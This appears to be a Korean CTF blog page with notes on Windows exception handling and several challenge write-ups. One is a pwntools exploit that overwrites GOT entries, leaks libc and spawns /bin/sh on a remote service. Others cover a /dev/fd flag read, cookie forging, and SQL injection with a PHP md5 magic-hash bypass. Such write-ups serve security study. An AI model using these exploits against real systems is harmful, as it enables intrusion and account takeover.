블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2020. 1. 27. 17:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020. 1. 18. 14:26 Hack/리버싱

1. SEH (Structured Exception Handling)

  • SEHWindows OS에서 지원하는 예외처리 방식으로 __try, __except, __finally 문법으로 이루어진다. 안티디버깅 용도로도 사용된다.
  • __try 블록 내에서 예외가 발생하면 __except 문에 해당되는 예외 핸들러(Exception Handler)를 호출하여 예외를 처리한다.
  • __except 블록 안에서 GetExceptionCode 함수를 이용해서 예외 종류를 확인하고 세 가지 선택(exception filter)을 할 수 있다. __except 문의 예외 핸들러 실행 (EXCEPTION_CONTINUE_EXECUTION), 예외의 원인을 해결하고 예외 발생한 곳에서 이어서 실행, 다음 예외 핸들러 찾기 (EXCEPTION _CONTINUE_SEARCH)
  • __try 영역 밖을 벗어나게 되면 __finally 영역 내의 코드(Termination Handler)를 실행한다. 스레드 강제 종료, 프로세스 종료를 제외한 모든 제어문(return, break )을 통해 영역 밖을 나갈 때도 실행된다.

2. VEH (Vectored Exception Handler)

  • VEHSEH를 응용프로그램 범위로 확장한 것으로 프로그램에서 예외가 발생하면 제일 먼저 호출된다. AddVectoredExceptionHandler라는 함수로 추가 할 수 있다.

3. VCH (Vectored Continue Handler)

  •  VCHVEHSEH에서 EXCEPTION_CONTINUE_EXECUTE가 반환되었을 때 호출 된다.

4. UEH (Unhandled Exception Handler)

  • UEH는 모든 예외 핸들러에서 처리되지 못한 예외를 처리하는 곳이다.

5. Unwind

  • Local Unwindtry-finally 구문에서 try 블록 내부에 return, goto 등의 제어문이 있을 때 발생한다. finally 블록을 실행 후 이동을 해야 하기 때문에 임시 변수를 생성해서 상태를 저장하는 것이다.
  • Global Unwind는 예외 핸들러의 exception filterEXCEPTION_EXECUTE_HANDLER인 경우 발생하는데, try 블록 내부에서 예외가 발생하면 finally보다 except를 먼저 찾아 처리하기 때문에 예외를 처리하기 전에 제일 안에 있는 finally부터 처리해 except 블록까지 내려오는 행위다.

'Hack > 리버싱' 카테고리의 다른 글

Codegate2020 Preliminary: Verifier  (0) 2020.02.22
Codegate2020 Preliminary: Halffeed  (0) 2020.02.22
[CSAW 2017] tablez  (0) 2017.09.20
[Codegate 2016] compress  (0) 2017.05.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
posted by Nehoy
2020. 1. 18. 14:22

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020. 1. 18. 13:56

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020. 1. 11. 22:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020. 1. 11. 21:05

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2017. 10. 26. 13:25 Hack/기타

opener.tar.gz

https://gist.github.com/bincat99/dc40fc894bed1831cd654abfcdc65f55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
 
 
void init ()
{
  setvbuf (stdin, 020);
  setvbuf (stdout, 020);
  setvbuf (stderr, 020);
}
 
int read_input (char *buf, int len)
{
  int ret;
 
  ret = read (0, buf, len);
 
  if (ret < 0)
  {
    fprintf (stderr, "read error!\n");
    exit (1);
  }
 
  if (buf[ret-1== '\n')
    buf[ret-1= '\0';
 
  return ret;
}
 
 
int filter (char * buf)
{
 
  if (strstr (buf, "flag"))
    return 1;
 
  return 0;
}
 
char flag[40= {0};
char path[100= {0};
 
int main ()
{
  int fd;
 
  init ();
 
  fd = open ("./flag", O_RDONLY);
  read (fd, flag, 40);
  //close (fd);
 
 
  puts ("give me your path :D");
  printf (">> ");
 
  read_input (path, 0x40);
 
  if (filter (path))
  {
   puts ("Nop :/");
   exit (0);
  }
 
 
  fd = open (path, O_RDONLY);
  read (fd, path, 40);
  close (fd);
 
  puts (path);
}
 
cs

떻게 풀까 고민하던 중 같은 대회의 basic_bf 문제가 도움이 되었다. 해당 문제에서 /dev/urandom 파일을 open 하는 것을 보고 똑같이 /dev에 open할 만한게 있지 않을까 해서 찾아보던 중 fd 폴더를 찾게 되었다.


참고로 각 프로세스는 /proc/[pid] 폴더를 갖게 되는데 /proc/self/를 하면 자신 프로세스의 폴더를 찾을 수 있다.

/dev/fd/ 폴더는 /proc/self/fd의 심볼릭 링크이다.

(참고로. stdin도 /proc/self/stdin과 같이 참조할 수 있다.)


fd는 순차적으로 할당되고 0, 1, 2는 각각 stdin, stdout, stderr로 이미 할당되어있기 때문에 3이 flag 파일의 fd(file descriptor)일 것을 예상할 수 있다.


로컬에서는 /dev/fd/3을 이용해서 풀 수 있었는데, 원격으로 풀 때는 /dev/fd/3으로 풀리지 않았다. 이유를 찾아보니 nc로 원격 접속을 할 경우 3과 4에 해당하는 fd가 이미 존재해서였다. 따라서, /dev/fd/5를 입력하면 flag를 얻을 수 있다.


후기.
/dev/fd/3이 안되는 이유를 몰라서 bf 소스(payload.py)를 만들었다. 뻘짓이었다..


'Hack > 기타' 카테고리의 다른 글

[backdoorctf17] extend_me  (0) 2017.10.13
[backdoorctf17] the-wall  (0) 2017.10.13
posted by Nehoy
2017. 10. 26. 13:11 Hack/포너블

note.tar.gz


문제 특징

1. GOT 변조

2. libc leak

3. setvbuf



modify 함수에서 index를 음수로하면 라이브러리 함수의 got.plt와 stdin, stdout, stderr 변수의 값을 바꿀 수 있다. (buffer의 주소가 0x6020A0으로 bss 영역에 있기 때문이다.)


여기서 std--- 변수들은 FILE * 자료형으로 라이브러리에 존재하는 FILE 객체를 가르킨다고 한다. 핵심은 포인터 변수라는 것이다!


인자와 함께 got를 조작할 수 있는게 이 부분밖에 없다.


libc-database-master를 이용하여 system과 /bin/sh의 offset을 구한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-*- coding: utf-8 *-
from pwn import *
 
# proc = process('./note')
proc = remote('125.131.189.15'10001)
 
def menu(select) :
    proc.recvuntil('5.Exit\n')
    proc.sendline(select)
 
def modify(index, value) :
    menu('3')
    proc.recvuntil('modify : \n')
    proc.sendline(index)
    proc.recvuntil('Contents : \n')
    proc.send(value)
 
proc.recvuntil('Note\n')
proc.sendline('123')
 
modify('-11', p64(0x400786))    # exit@got.plt -> setvbuf init
modify('-13', p64(0x400610))    # setvbuf@got.plt -> puts@plt
modify('-4', p64(0x602028))    # stderr pointer -> read@got.plt
menu('5')
 
read_got = u64(proc.recvuntil('1.Add')[:6+ "\x00\x00")
 
# libc.so.6
libc_base = read_got - 0xf7220
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
 
"""
# local
system_addr = read_got - 0xA77B0
sh_addr = read_got + 0x94779
"""
 
log.info('system_addr : ' + hex(system_addr))
log.info('sh_addr : ' + hex(sh_addr))
 
modify('-13', p64(system_addr))    # setvbuf@got.plt -> system addr
modify('-4', p64(sh_addr))    # stderr pointer -> sh addr
menu('5')
 
proc.interactive()
 
cs

1. libc leak

setvbuf@got.plt를 puts@plt로 바꾸고 stderr를 read@got.plt로 변경한다.

exit@got.plt를 setvbuf를 호출하는 함수인 0x400786으로 변경하여, libc leak을 한다.


offset을 이용하여 system과 /bin/sh의 주소를 구한다.


2. exploit


setvbuf@got.plt를 system 주소로 바꾸고 stderr를 /bin/sh로 변경하여 쉘을 실행시킨다.


후기.
 setvbuf 함수는 ctf 문제를 풀다보면 흔히 볼 수 있는 함수이다. 그래서 무심코 지나갔는데 이 함수가 문제 풀이 핵심되어서 많이 헤매었다.


'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 10. 13. 17:31 Hack/기타

EXTEND-ME.zip


flag를 흭득하기 위한 조건

1. username을 입력해야 함

2. cookie에 user와 data가 존재해야 함

3. '|'.join([key,username,user])를 SLHA1 해쉬화한 값과 cookie의 data를 base64 디코드한 값이 같아야 함


문제 설명

1. cookie에 user와 data가 존재할 때, data와 원하는 값이 같지 않으면 data에 원하는 값을 base64 인코딩해서 넣어준다

2. 끝



1. 쿠키 설정

user는 "admin"을 base64 인코딩해서 넣고, data는 임의의 값을 base64 인코딩해서 넣는다.


로그인을 하면 data가 프로그램이 원하는 값으로 변한다.


2. 풀이

그 상태로 로그인하면 플래그가 나타난다.


'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] the-wall  (0) 2017.10.13
posted by Nehoy
2017. 10. 13. 17:11 Hack/기타

문제 특징.

1. SQL Injection

2. php md5 bug


1. Username 흭득

sql injection을 이용하여 권한이 admin인 유저 이름을 흭득한다.


2. Exploit

password를 md5로 해쉬화하고 ==를 이용하여 비교한다.

php md5 bug가 유력하기 때문에 md5 값이 0e462097431906509019562988736854 인 240610708을 password로 넣으면 flag가 나타난다.

'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] extend_me  (0) 2017.10.13
posted by Nehoy
prev 1 2 3 4 5 next